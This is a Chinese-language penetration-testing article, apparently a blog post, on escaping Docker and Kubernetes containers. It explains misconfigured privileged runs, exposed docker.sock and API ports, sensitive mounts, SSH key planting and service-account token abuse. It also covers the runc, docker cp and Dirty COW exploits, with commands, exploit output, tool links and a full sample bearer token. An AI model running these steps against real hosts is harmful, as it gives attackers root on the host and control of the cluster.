容器逃逸方法
[Penetration Testing]
容器即隔离
"The only real solution to security is to admit that bugs happen, and then mitigate them by having multiple layers, so if you have a hole in one component, the next layer will catch the issue." —— LinuxCon NA 2015, Linus Torvalds
Docker利用Linux Namespace实现了操作系统级的资源隔离,使容器进程可以充分利用宿主机的资源而不会互相影响。
Linux Namespace 实现了6项资源隔离,基本上涵盖了一个小型操作系统的运行要素,包括主机名、用户权限、文件系统、网络、进程号、进程间通信。
Namespace 变量 隔离资源
Cgroup CLONE_NEWCGROUP Cgroup 根目录
IPC CLONE_NEWIPC System V IPC, POSIX 消息队列等
Network CLONE_NEWNET 网络设备,协议栈、端口等
Mount CLONE_NEWNS 挂载点
PID CLONE_NEWPID 进程ID
User CLONE_NEWUSER 用户和group ID
UTS CLONE_NEWUTS Hostname和NIS域名
容器逃逸,即找到未隔离的部分并加以利用,导致隔离失效的方法有:
- 用户层:用户配置不当
- 服务层:容器服务自身实现不当
- 系统层:Linux内核漏洞
用户配置不当导致隔离失效
最"无用"的docker命令
以下docker启动命令可以被称为,它通过三个=host
参数分别绕过了Network,PID,IPC namespace,然后通过--volume
挂载根目录使主机全部文件暴露在容器内部,--privileged
使容器拥有root用户权限。
docker run -ti
--privileged
--net=host
--pid=host
--ipc=host
--volume /:/host
busybox
chroot /host
这个例子表明,用户启动容器时的不当配置可使容器逃逸非常简单。
docker.sock暴露到容器内部
docker.sock是Docker deamon监听的Unix socket,能与其通信意味着可以管理docker。该接口默认以root权限运行,仅对启动docker服务的宿主机暴露,但由于一些业务场景的部署需求,可能导致逃逸风险。
比如将docker.sock挂载到容器内部:
docker -v /var/run/docker.sock:/var/run/docker.sock
此时容器内部可以与docker deamon通信,可控制docker run一个高权限的恶意容器,从而拿到root shell:
find / -name docker.sock
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
- 利用工具:https://github.com/AbsoZed/DockerPwn.py
- 案例:https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-2/
docker.sock暴露到公网
此类利用方法已广泛集成在各种蠕虫,暴露在公网的Docker Remote API会被迅速植入挖矿程序。
docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
POST /v1.26/containers/create
K8s API Server暴露到公网
除了Docker以外,容器编排平台也会出现此类未授权访问问题。K8s作为主流容器平台,其API提供两种连接方式:8080测试端口无需认证;6443生产端口需要认证,且有TLS保护。用户如将8080端口开到公网,会导致未授权访问入侵。
POST /api/v1/namespaces/default/replicationcontrollers
其他容器平台也有相似问题:
挂载敏感目录
以读写权限挂载系统核心目录(/root, /var/run等)到容器,会影响主机中其他应用的依赖从而导致穿透:
docker run -it -v /root:/root ubuntu /bin/bash
(echo -e "\n\n";cat id_rsa_new.pub) >> /root/.ssh/authorized_keys
通过K8s service account攻击K8s API
K8s pod中默认携带API-server的访问凭证,如果用户在RBAC权限配置时出现失误,则容器中可以直接通过K8s service account向K8s下发指令,影响pod甚至整个集群安全。
service account在容器内部默认路径:
cd /var/run/secrets/kubernetes.io/serviceaccount
带凭证访问API server
curl -voa -s https://192.168.0.234:6443/version
# 以下命令相当于 kubectl get no
curl -s https://192.168.0.234:6443/api/v1/nodes?watch --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tOGprZmQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2DydmljZS1hY2NvdW50LnVpZCI6Ijg4Y2ZmNmYzLWY0NzktMTFlOS1iZmY1LTJlYzU3MmZlMWRjOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.OU740qNcSf0Z__vAO1XJWUw9fvNNI2e4LxHypkpzREmnqrK9UZ-rrp9tG8Vxbc65FlPFj9efdpfWYExxjDDQwQTi-5Afmk4EA6EH-4vEs4V1r4gb0za8cyPVSAjzmEh7uIMgQHVo7y32V_BqUd8cmBoTdgnTY8Nx2QvMClvoYvEWvDKhbMnQjWH1x5Z6jK0iNg7btlK_WXnz8-yU2a0-jgoZFZ8D_qX16mZJ_ZoxEwPNTeNR8pP1l3ebZGVqBQA1PIFVG4HOlYomZya_DWGleMRYpulnECtBOTYyswzCwN8qJUVsdv6yWH1blWHKzYrkcoDmp2r6QhekaG1KFoX_YA" --cacert ca.crt
容器服务自身实现不当导致隔离失效
既要隔离,又要通信,本身就是个悖论。如何保证通信时的安全性,实现起来非常艺术。
19年的两个docker漏洞均利用了功能设计缺陷,实现了容器内部覆盖runc文件、libnss库从而导致RCE的操作,长期来看此类实现并没有理论上安全验证,因此docker实现缺陷导致的逃逸漏洞会继续发生。
Docker runc (CVE-2019-5736)
- Centos7 https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/
容器内运行exp:
root@9ab7342a13ef:~/docker_exploit/docker-runc# ./exp_linux_amd64
[+] Overwritten /bin/sh successfully
宿主机执行exec触发:
[root@iZm5efwbdpum6qiskalzrfZ ~]# docker exec 9ab7342a13ef /bin/bash
容器内exp状态更新:
root@9ab7342a13ef:~/docker_exploit/docker-runc# ./exp_linux_amd64
[+] Overwritten /bin/sh successfully
[+] Found the PID: 3154
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc000268240}
Docker cp (CVE-2019-14271)
- https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
Linux内核漏洞
Dirtycow
- 存在漏洞的云市场-ubuntu 14.04镜像
root@iZm5e3paasmtr8vbsj8rjgZ:~# uname -a
Linux iZm5e3paasmtr8vbsj8rjgZ 3.13.0-65-generic #106-Ubuntu SMP Fri Oct 2 22:08:27 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
- docker-ce
apt-get update
apt-get install \
curl \
git \
linux-image-extra-$(uname -r) \
linux-image-extra-virtual \
apt-transport-https \
ca-certificates \
software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
apt-key fingerprint 0EBFCD88
add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) \
stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=17.03.0~ce-0~ubuntu-trusty
- Exploit
git clone https://github.com/gebl/dirtycow-docker-vdso